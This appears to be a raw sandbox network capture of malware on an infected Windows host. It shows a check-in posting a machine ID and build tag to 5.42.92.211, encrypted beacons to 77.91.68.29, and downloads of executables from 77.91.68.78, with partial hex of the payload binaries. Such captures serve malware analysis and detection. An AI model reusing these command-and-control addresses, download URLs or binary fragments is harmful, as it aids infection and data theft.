0	192.168.2.4	49701	5.42.92.211	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:52:22.158756018 CEST	0	OUT	POST /loghub/master HTTP/1.1 Content-Type: multipart/form-data; boundary=S2T2johILhNxP0GzGJDG Content-Length: 213 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) Host: 5.42.92.211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 5a 47 39 75 61 57 56 7a 0d 0a 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 2d 2d 0d 0a Data Ascii: --S2T2johILhNxP0GzGJDGContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--S2T2johILhNxP0GzGJDGContent-Disposition: form-data; name="build"ZG9uaWVz--S2T2johILhNxP0GzGJDG--
Sep 23, 2023 17:52:24.972928047 CEST	145	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Sep 2023 15:52:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: same-origin
Sep 23, 2023 17:52:24.972958088 CEST	145	IN	Data Raw: 54 6b 38 4e 43 67 3d 3d Data Ascii: Tk8NCg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49754	77.91.68.29	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:52:57.383501053 CEST	2826	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rfxxtg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: 77.91.68.29
Sep 23, 2023 17:52:57.383501053 CEST	2826	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 2b af a2 d5 f3 c9 39 df 28 fc e3 3d ec 3b Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP+9(=;Xo,L.;k$.v(lH^w/y?Z;0,4 \<_e{6?~4hnL_JHB{cR<&&&;yYl3~oguq`vb$=yc2%>H
Sep 23, 2023 17:52:57.718241930 CEST	2830	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:52:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 7 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 2d 20 55 Data Ascii: - U
Sep 23, 2023 17:52:57.721738100 CEST	2831	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ibrmk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: 77.91.68.29
Sep 23, 2023 17:52:57.721738100 CEST	2831	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a2 d5 f3 c9 38 df 28 fc 8f 3c f4 65 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(<e>_LP"j;p6B8+)ZB(s/5#$v.hYC!gDzoDWk
Sep 23, 2023 17:52:58.047013044 CEST	2836	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:52:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 49 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 74 61 82 c9 43 a2 93 72 96 b2 29 17 f9 14 b7 09 7f 99 0d d5 a3 7d ac eb Data Ascii: H>99$JYWtaCr)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49816	77.91.68.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:27.212970018 CEST	15876	OUT	GET /lend/stubweb3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 77.91.68.78
Sep 23, 2023 17:53:27.534710884 CEST	15893	IN	Data Raw: 00 00 04 60 80 08 00 00 04 38 84 00 00 00 11 07 14 28 29 00 00 0a 2c 54 11 05 11 06 28 0a 00 00 06 2c 26 7e 08 00 00 04 1f 10 60 80 08 00 00 04 06 20 28 68 1e a7 08 59 09 59 66 65 66 66 65 66 65 66 65 07 59 61 0a 2b 49 7e 08 00 00 04 17 60 80 08 Data Ascii: `8(),T(,&~` (hYYfeffefefeYa+I~` <XXXfeffeefefa+&~` VaYfeffefefefeYa~X0~o,(0 }_ EHa+~o*
Sep 23, 2023 17:53:27.534826040 CEST	15894	IN	Data Raw: 0a de 0f 26 02 6f 3c 00 00 0a 73 3d 00 00 0a 0a de 00 06 2a 00 00 01 10 00 00 00 00 00 00 09 09 00 0f 1f 00 00 01 13 30 01 00 12 00 00 00 05 00 00 11 02 6f 3e 00 00 0a 0a 06 2c 06 06 8e 2d 02 14 0a 06 2a 00 00 13 30 03 00 bf 00 00 00 06 00 00 11 Data Ascii: &o<s=0o>,-0X%o%-+o'%-&+o(%-&+o?(@,-((,i3 3 3*X%o%,Ao'%-&+o(%-&+o?(@
Sep 23, 2023 17:53:27.534888029 CEST	15896	IN	Data Raw: 1f 00 00 0a 28 41 00 00 06 13 05 28 51 00 00 06 13 06 07 11 05 1e 63 d2 6f 5a 00 00 0a 07 11 06 d2 6f 5a 00 00 0a 07 11 05 1f 18 63 d2 6f 5a 00 00 0a 07 11 06 1e 63 d2 6f 5a 00 00 0a 07 11 05 d2 6f 5a 00 00 0a 07 11 06 1f 18 63 d2 6f 5a 00 00 0a Data Ascii: (A(QcoZoZcoZcoZoZcoZcoZcoZo[j+)o\nXbXdao]X3bXdabX!"n\|a~#oF(4*A4M
Sep 23, 2023 17:53:27.534904003 CEST	15897	IN	Data Raw: dc 47 20 a8 f4 90 3b 40 e3 ae e7 37 4d 23 c5 2e 1c 5d ad 00 88 8f ac 05 ba 10 c3 0c 98 4f a9 03 1b 80 69 01 35 0f ff ba 8c 68 cb 80 35 e4 e2 01 04 df 62 55 7f 69 f2 1a 53 70 4f e6 34 32 6d cb 62 df d6 63 1f f9 99 e6 52 27 56 74 7a 5e 30 5e 5b a1 Data Ascii: G ;@7M#.]Oi5h5bUiSpO42mbcR'Vtz^0^[:H-[kWTAB&WB0(Rhdmr7V`~QBFI)`0(BurqxeW!.Wx\|u-mH17IJ
Sep 23, 2023 17:53:27.534964085 CEST	15898	IN	Data Raw: 51 a8 7b 1f 11 a9 9b 91 68 f0 b6 06 02 03 4a d4 62 33 b2 63 6c 9b 69 08 ba 7a b0 4b 2c 50 7a 69 68 b9 1f 84 2f 8e 17 03 2e e7 6b e6 a5 34 d6 cb 79 a3 95 19 8f 26 f2 6d af 06 18 a2 77 25 70 c6 cf 3b b3 09 2e 0e 19 7b b0 8b 19 f3 ef b1 8b 43 68 c1 Data Ascii: Q{hJb3clizK,Pzih/.k4y&mw%p;.{ChEexFv/9@4f2Qv}xW2W^5i#qgo!\`$\jv.8"M67n*Y(fB%ztvk\d_M5o ,Md5H<
Sep 23, 2023 17:53:27.535024881 CEST	15900	IN	HTTP/1.1 200 OK Date: Sat, 23 Sep 2023 15:53:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 19 Sep 2023 00:36:42 GMT ETag: "df800-605ab73f11d39" Accept-Ranges: bytes Content-Length: 915456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 ee bd 08 65 00 00 00 00 00 00 00 00 f0 00 2e 00 0b 02 06 00 00 ee 0d 00 00 08 00 00 00 00 00 00 82 0c 0e 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0e 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 0c 0e 00 57 00 00 00 00 20 0e 00 20 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8e ec 0d 00 00 20 00 00 00 ee 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 05 00 00 00 20 0e 00 00 06 00 00 00 f0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0e 00 00 02 00 00 00 f6 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 64 0c 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 10 f0 0d 00 18 1c 00 00 01 00 00 00 22 00 00 06 84 3c 00 00 8c b3 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 14 00 00 0a 2a 03 30 09 00 29 00 00 00 00 00 00 00 28 15 00 00 0a 73 16 00 00 06 28 17 00 00 06 6f 16 00 00 0a 6f 17 00 00 0a 20 91 a8 2e 45 28 06 00 00 06 6f 18 00 00 0a 2a 00 00 00 13 30 0c 00 55 00 00 00 01 00 00 11 28 19 00 00 0a 28 01 00 00 2b 6f 1b 00 00 0a 0a 06 16 06 6f 1c 00 00 0a 6f 1d 00 00 0a 0a 06 20 a9 a8 2e 45 28 06 00 00 06 28 1e 00 00 0a 0a d0 01 00 00 01 28 1f 00 00 0a 02 28 03 00 00 06 75 3f 00 00 01 06 28 20 00 00 0a 28 02 00 00 2b 6f 22 00 00 0a 2a 00 00 00 13 30 03 00 71 01 00 00 02 00 00 11 20 10 8f 69 0f 0c 20 0b c6 1e a7 08 59 0d 73 23 00 00 0a 80 05 00 00 04 18 0b 07 16 73 24 00 00 0a 13 05 07 18 59 0b 11 05 07 6f 25 00 00 0a 13 04 07 13 06 11 04 2d 15 73 26 00 00 0a 13 05 17 13 06 11 05 11 06 6f 25 00 00 0a 13 04 08 20 16 0f 07 08 61 09 61 66 65 66 66 65 65 66 65 66 20 28 68 64 94 08 59 09 59 66 66 65 65 66 66 65 66 65 61 0a 11 04 2d 03 14 2b 07 11 04 6f 27 00 00 0a 13 08 11 04 2c 17 06 08 20 f7 39 87 6b 58 09 61 66 65 66 65 66 65 66 65 66 66 65 61 0a 11 08 2d 03 14 2b 07 11 08 6f 28 00 00 0a 13 07 11 07 d0 33 00 00 01 28 1f 00 00 0a 28 29 00 00 0a 2c 1f 06 20 3c 43 23 67 08 61 09 58 07 58 61 0a 1a 7e 08 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEde. @ ``@@ (W @ H.text `.rsrc @@.reloc@@BdH"<(0)(s(oo .E(o0U((+ooo .E((((u?( (+o"*0q i Ys#s$Yo%-s&o% aafeffeefef (hdYYffeeffefea-+o', 9kXafefefefeffea-+o(3((), <C#gaXXa~
Sep 23, 2023 17:53:27.535068035 CEST	15901	IN	Data Raw: 58 07 58 61 80 02 00 00 04 09 80 04 00 00 04 7e 08 00 00 04 20 91 58 f1 76 06 59 07 59 66 65 66 65 66 65 66 66 65 65 66 5f 2d 16 06 20 f5 ac 73 b7 61 07 58 80 02 00 00 04 2b 06 7e 04 00 00 04 0d 7e 02 00 00 04 20 ff ee f0 76 06 59 07 61 33 3a 19 Data Ascii: XXa~ XvYYfefefeffeef_- saX+~~ vYa3: XX0 XvYas2; ^XXaa t3aaa~ojo3~,~+s~3~o 8HYXaah"+~
Sep 23, 2023 17:53:27.535135984 CEST	15903	IN	Data Raw: 00 04 02 1f fe 73 2c 00 00 06 6f 03 00 00 0a 7d 16 00 00 04 02 1f fd 7d 0f 00 00 04 2b 7f 02 02 7b 16 00 00 04 6f 02 00 00 0a 7d 17 00 00 04 02 02 7b 15 00 00 04 7d 10 00 00 04 02 17 7d 0f 00 00 04 17 0a dd 86 00 00 00 02 1f fd 7d 0f 00 00 04 02 Data Ascii: s,o}}+{o}{}}}{Y}{-+H{{X{X ]{Xa}}{o:q(&+(&}($*n}{,
Sep 23, 2023 17:53:27.535151958 CEST	15904	IN	Data Raw: 18 00 00 02 28 1f 00 00 0a 28 41 00 00 06 28 4b 00 00 06 28 4d 00 00 06 28 4c 00 00 06 28 4b 00 00 06 28 4d 00 00 06 2a 56 02 03 20 0e 32 c6 dc 66 66 65 65 66 65 66 65 66 66 65 59 61 2a 00 00 92 02 20 cb 42 be 81 66 66 65 65 66 66 65 66 65 59 03 Data Ascii: ((A(K(M(L(K(MV 2ffeefefeffeYa BffeeffefeY m]ffeeffeeffeXa^ ffeeffefeYYaa(*0d(C feffefefefea((A(K((A((Aa fefeffefefe(L(
Sep 23, 2023 17:53:27.535245895 CEST	15905	IN	Data Raw: 4c a9 a2 82 3c 26 1b 6b 20 ea 9e b3 a2 42 a5 be 30 51 d2 cf 8f 9c 4d 58 76 68 f8 43 f8 d6 d6 84 c2 01 a5 c4 83 4d 36 a5 af ca 80 1c 1f 7b fa f1 cc 27 aa 22 bb b8 4f 19 2c 3b 2b 6a a0 b0 c9 66 73 3b 01 a8 fc b0 2a 64 a6 cc c9 ad 9c 1c f7 0e 9b 6f Data Ascii: L<&k B0QMXvhCM6{'"O,;+jfs;doR(obT?zftse%bk3}9y@VA/\e[Niv#{q,C.z]nHc2nQQu4wMUcr\|6v>r
Sep 23, 2023 17:53:27.853744030 CEST	16022	IN	Data Raw: 6e f6 a3 3b 80 0e e0 9d 54 ea 04 61 17 92 33 e7 76 66 37 c1 4b 9e 9e 56 c5 75 0c c5 92 38 a2 1d dd cf c5 61 2f bf ad f9 1a ee b4 7d 89 38 7a 20 15 51 10 12 cc e6 37 82 68 9c 76 44 e9 57 5b c6 bf 44 6f aa e8 f9 ab ce d1 db e3 66 97 b9 59 19 33 df Data Ascii: n;Ta3vf7KVu8a/}8z Q7hvDW[DofY3mD\|G)L%oZ#izw0bM0!.6I/{&7<\I$0qTDHYoe4l[;O%Y\2-#{VuUS1w7{
Sep 23, 2023 17:53:27.853780985 CEST	16024	IN	HTTP/1.1 200 OK Date: Sat, 23 Sep 2023 15:53:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 19 Sep 2023 00:36:42 GMT ETag: "df800-605ab73f11d39" Accept-Ranges: bytes Content-Length: 915456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 ee bd 08 65 00 00 00 00 00 00 00 00 f0 00 2e 00 0b 02 06 00 00 ee 0d 00 00 08 00 00 00 00 00 00 82 0c 0e 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0e 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 0c 0e 00 57 00 00 00 00 20 0e 00 20 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8e ec 0d 00 00 20 00 00 00 ee 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 05 00 00 00 20 0e 00 00 06 00 00 00 f0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0e 00 00 02 00 00 00 f6 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 64 0c 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 10 f0 0d 00 18 1c 00 00 01 00 00 00 22 00 00 06 84 3c 00 00 8c b3 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 14 00 00 0a 2a 03 30 09 00 29 00 00 00 00 00 00 00 28 15 00 00 0a 73 16 00 00 06 28 17 00 00 06 6f 16 00 00 0a 6f 17 00 00 0a 20 91 a8 2e 45 28 06 00 00 06 6f 18 00 00 0a 2a 00 00 00 13 30 0c 00 55 00 00 00 01 00 00 11 28 19 00 00 0a 28 01 00 00 2b 6f 1b 00 00 0a 0a 06 16 06 6f 1c 00 00 0a 6f 1d 00 00 0a 0a 06 20 a9 a8 2e 45 28 06 00 00 06 28 1e 00 00 0a 0a d0 01 00 00 01 28 1f 00 00 0a 02 28 03 00 00 06 75 3f 00 00 01 06 28 20 00 00 0a 28 02 00 00 2b 6f 22 00 00 0a 2a 00 00 00 13 30 03 00 71 01 00 00 02 00 00 11 20 10 8f 69 0f 0c 20 0b c6 1e a7 08 59 0d 73 23 00 00 0a 80 05 00 00 04 18 0b 07 16 73 24 00 00 0a 13 05 07 18 59 0b 11 05 07 6f 25 00 00 0a 13 04 07 13 06 11 04 2d 15 73 26 00 00 0a 13 05 17 13 06 11 05 11 06 6f 25 00 00 0a 13 04 08 20 16 0f 07 08 61 09 61 66 65 66 66 65 65 66 65 66 20 28 68 64 94 08 59 09 59 66 66 65 65 66 66 65 66 65 61 0a 11 04 2d 03 14 2b 07 11 04 6f 27 00 00 0a 13 08 11 04 2c 17 06 08 20 f7 39 87 6b 58 09 61 66 65 66 65 66 65 66 65 66 66 65 61 0a 11 08 2d 03 14 2b 07 11 08 6f 28 00 00 0a 13 07 11 07 d0 33 00 00 01 28 1f 00 00 0a 28 29 00 00 0a 2c 1f 06 20 3c 43 23 67 08 61 09 58 07 58 61 0a 1a 7e 08 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEde. @ ``@@ (W @ H.text `.rsrc @@.reloc@@BdH"<(0)(s(oo .E(o0U((+ooo .E((((u?( (+o"*0q i Ys#s$Yo%-s&o% aafeffeefef (hdYYffeeffefea-+o', 9kXafefefefeffea-+o(3((), <C#gaXXa~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49825	77.91.68.29	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:31.251553059 CEST	19471	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ouvqb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: 77.91.68.29
Sep 23, 2023 17:53:31.251574993 CEST	19472	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a6 d5 f3 c9 39 df 28 fc 9e 72 b7 64 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)9(rdLG'N?YbuuwKr57!$.P)D\|7Ix'W jH$gy(kcp:TvqO#4d
Sep 23, 2023 17:53:31.585335016 CEST	19473	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Sep 23, 2023 17:53:31.589222908 CEST	19473	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cjbsku.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: 77.91.68.29
Sep 23, 2023 17:53:31.589222908 CEST	19473	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a7 d5 f3 c9 38 df 28 fc f7 49 b8 73 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(IsCvSvFinTU#/>e.Agy$]CrHs>I2J~hqF/
Sep 23, 2023 17:53:31.915232897 CEST	19479	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 54 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 5c ac 03 aa 53 3a da 4a d0 eb 7e a1 e2 ec 21 bb 8f 3f Data Ascii: H>99$JYWskI8q\S:J~!?

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49827	77.91.68.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:32.260468960 CEST	19480	OUT	GET /lend/d3xi5rws2ffuli.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 77.91.68.78
Sep 23, 2023 17:53:32.592595100 CEST	19483	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 23, 2023 17:53:32.592619896 CEST	19484	IN	Data Raw: 84 02 00 e9 3f 77 02 00 e9 b3 ba 05 00 e9 ec a5 02 00 e9 f3 4b 05 00 e9 a3 48 04 00 e9 43 88 01 00 e9 ba f5 06 00 e9 ce 9d 06 00 e9 43 49 04 00 e9 c3 a1 02 00 e9 05 9a 05 00 e9 2b 0c 02 00 e9 c3 38 08 00 e9 96 fd 01 00 e9 7d 42 05 00 e9 f1 41 05 Data Ascii: ?wKHCCI+8}BAm Q<H=34/5f[[<a5bU$Gf%Gk<2
Sep 23, 2023 17:53:32.592756033 CEST	19486	IN	HTTP/1.1 200 OK Date: Sat, 23 Sep 2023 15:53:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 22 Sep 2023 11:40:59 GMT ETag: "185200-605f115179b46" Accept-Ranges: bytes Content-Length: 1593856 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 47 11 08 bb 03 70 66 e8 03 70 66 e8 03 70 66 e8 17 1b 65 e9 0e 70 66 e8 17 1b 63 e9 aa 70 66 e8 17 1b 62 e9 15 70 66 e8 17 1b 67 e9 00 70 66 e8 03 70 67 e8 8a 70 66 e8 63 0a 62 e9 12 70 66 e8 63 0a 63 e9 